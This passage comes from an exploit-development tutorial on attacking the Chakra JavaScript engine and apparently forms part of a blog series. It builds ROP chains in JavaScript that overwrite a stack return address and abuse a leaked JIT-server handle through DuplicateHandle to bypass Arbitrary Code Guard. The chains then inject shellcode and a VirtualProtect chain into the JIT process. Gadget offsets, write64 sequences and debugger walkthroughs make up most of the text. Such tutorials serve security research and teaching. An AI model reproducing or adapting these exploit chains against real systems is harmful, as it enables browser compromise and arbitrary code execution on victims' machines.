    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
    inc();

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// alert() for debugging
	alert("DEBUG");

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Before I explain the reasoning behind the ROP chain, let me say just two things:

  1. Notice that we incremented countMe by 0x50 bytes after we wrote our shellcode. This is to ensure that our ROP chain and shellcode don’t collide and we have a noticeable gap between them, so we can differentiate where the shellcode stops and the ROP chain begins
  2. You can generate ROP gadgets for chakra.dll with the rp++ utility leveraged in the first blog post. Here is the command: rp-win-x64.exe -f C:\Windows\system32\chakra.dll -r 5 > C:\PATH\WHERE\YOU\WANT\TO\STORE\ROP\GADGETS\FILENAME.txt. Again, this is outlined in part two. From here you now will have a list of ROP gadgets from chakra.dll.

Now, let’s explain this ROP chain.

This ROP chain will not be executed anytime soon, nor will it be executed within the content process (where the exploit is being detonated). Instead, this ROP chain and our shellcode will be injected into the JIT process (where ACG is disabled). From there we will hijack execution of the JIT process and force it to execute our ROP chain. The ROP chain (when executed) will:

  1. Setup a call to VirtualProtect and mark our shellcode allocation as RWX
  2. Jump to our shellcode and execute it

Again, this is all done within the JIT process. Another remark on the ROP chain - we can notice a few interesting things, such as the lpAddress parameter. According to the documentation of VirtualProtect this parameter:

The address of the starting page of the region of pages whose access protection attributes are to be changed.

So, based on our exploitation plan, we know that this lpAddress parameter will be the address of our shellcode allocation, once it is injected into the JIT process. However, the dilemma is the fact that at this point in the exploit we have not injected any shellcode into the JIT process (at the time of our ROP chain and shellcode being stored in the content process). Therefore there is no way to fill this parameter with a correct value at the current moment, as we have yet to call VirtualAllocEx to actually inject the shellcode into the JIT process. Because of this, we setup our ROP chain as follows:

(...)truncated(...)

write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
inc();

According to the __fastcall calling convention, the lpAddress parameter needs to be stored in the RCX register. However, we can see our ROP chain, as it currently stands, will only pop the value of 0 into RCX. We know, however, that we need the address of our shellcode to be placed here. Let me explain how we will reconcile this (we will step through all of this code when the time comes, but for now I just want to make this clear to the reader as to why our final ROP chain is only partially completed at the current moment).

  1. We will use VirtualAllocEx and WriteProcessMemory to allocate and write our shellcode into the JIT process with our first few ROP chains of our exploit.
  2. VirtualAllocEx will return the address of our shellcode within the JIT process
  3. When VirtualAllocEx returns the address of the remote allocation within the JIT process, we will use a call to WriteProcessMemory to write the actual address of our shellcode in the JIT process (which we now have because we injected it with VirtualAllocEx) into our final ROP chain (which currently is using a “blank placeholder” for lpAddress).

Lastly, we know that our final ROP chain (the one we are storing and updating with the aforesaid steps) not only marks our shellcode as RWX, but it is also responsible for returning into our shellcode. This can be seen in the below snippet of the VirtualProtect ROP chain.

(...)truncated(...)

write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)

Again, we are currently using a blank “parameter placeholder” in this case, as our VirtualProtect ROP chain doesn’t know where our shellcode was injected into the JIT process (as it hasn’t happened at this point in the exploitation process). We will be updating this eventually. For now, let me summarize briefly what we are doing:

  1. Storing shellcode + VirtualProtect ROP chain with the .data section of chakra.dll (in the JIT process)
  2. These items will eventually be injected into the JIT process (where ACG is disabled).
  3. We will hijack control-flow execution in the JIT process to force it to execute our ROP chain. Our ROP chain will mark our shellcode as RWX and jump to it
  4. Lastly, our ROP chain is missing some information, as the shellcode hasn’t been injected. This information will be reconcicled with our “long” ROP chains that we are about to embark on in the next few sections of this blog post. So, for now, the “final” VirtualProtect ROP chain has some missing information, which we will reconcile on the fly.

Lastly, before moving on, let’s see how our shellcode and ROP chain look like after we execute our exploit (as it currently is).

After executing the script, we can then (before we close the dialogue) attach WinDbg to the content process and examine chakra_base + 0x74b000 to see if everything was written properly.

As we can see, we have successfully stored our shellcode and ROP chain (which will be executed in the future).

Let’s now start working on our exploit in order to achieve execution of our final ROP chain and shellcode.

DuplicateHandle ROP Chain

Before we begin, each ROP gadget I write has an associated commetn. My blog will sometimes cut these off when I paste a code snippet, and you might be required to slide the bar under the code snippet to the right to see comments.

We have, as we have seen, already prepared what we are eventually going to execute within the JIT process. However, we still have to figure out how we are going to inject these into the JIT process, and begin code execution. This journey to this goal begins with our overwritten return address, causing control-flow hijacking, to start our ROP chain (just like in part two of this blog series). However, instead of directly executing a ROP chain to call WinExec, we will be chaining together multiple ROP chains in order to achieve this goal. Everything that happens in our exploit now happens in the content process (for the foreseeable future).

A caveat before we begin. Everything, from here on out, will begin at these lines of our exploit:

// alert() for debugging
alert("DEBUG");

// Corrupt the return address to control RIP with 0x4141414141414141
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);

We will start writing our ROP chain where the Corrupt the return address to control RIP with 0x4141414141414141 comment is (just like in part two). Additionally, we are going to truncate (from here on out, until our final code) everything that comes before our alert() call. This is to save space in this blog post. This is synonymous from what we did in part two. So again, nothing that comes before the alert() statement will be changed. Let’s begin now.

As previously mentioned, it is possible to obtain a PROCESS_ALL_ACCESS handle to the JIT server by abusing the PROCESS_DUP_HANDLE handle stored in s_jitManager. Using our stack control, we know the next goal is to instrument a ROP chain. Although we will be leveraging multiple chained ROP chains, our process begins with a call to DuplicateHandle - in order to retrieve a privileged handle to the JIT server. This will allow us to compromise the JIT server, where ACG is disabled. This call to DuplicateHandle will be as follows:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// NULL since we will set dwOptions to DUPLICATE_SAME_ACCESS
	0,			// FALSE (new handle isn't inherited)
	DUPLICATE_SAME_ACCESS	// Duplicate handle has same access as source handle (source handle is an all access handle, e.g. a pseudo handle), meaning the duplicated handle will be PROCESS_ALL_ACCESS
);

With this in mind, here is how the function call will be setup via ROP:

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

Before stepping through our ROP chain, notice the first thing we do is read the JIT server handle:

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

After reading in and storing this value, we can begin our ROP chain. Let’s now step through the chain together in WinDbg. As we can see from our DuplicateHandle ROP chain, we are overwriting RIP (which we previously did with 0x4141414141414141 in our control-flow hijack proof-of-concept via return address overwrite) with a ROP gadget of pop rdx ; ret, which is located at chakra_base + 0x1d2c9. Let’s set a breakpoint here, and detonate our exploit. Again, as a point of contention - the __fastcall calling convention is in play - meaning arguments go in RCX, RDX, R8, R9, RSP + 0x20, etc.

After hitting the breakpoint, we can inspect RSP to confirm our ROP chain has been written to the stack.

Our first gadget, as we know, is a pop rdx ; ret gadget. After execution of this gadget, we have stored a pseudo-handle with PROCESS_ALL_ACCESS into RDX.

This brings our function call to DuplicateHandle to the following state:

DuplicateHandle(
	-
	GetCurrentProcess(),	// Pseudo handle to the current process
	-
	-
	-
	-
	-
);

Our next gadget is mov r8, rdx ; add rsp, 0x48 ; ret. This will copy the pseudo-handle currently in RDX into R8 also.

We should also note that this ROP gadget increments the stack by 0x48 bytes. This is why in the ROP sequence we have 0x4141414141414141 padding “opcodes”. This padding is here to ensure that when the ret happens in our ROP gadget, execution returns to the next ROP gadget we want to execute, and not 0x48 bytes down the stack to a location we don’t intend execution to go to:

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1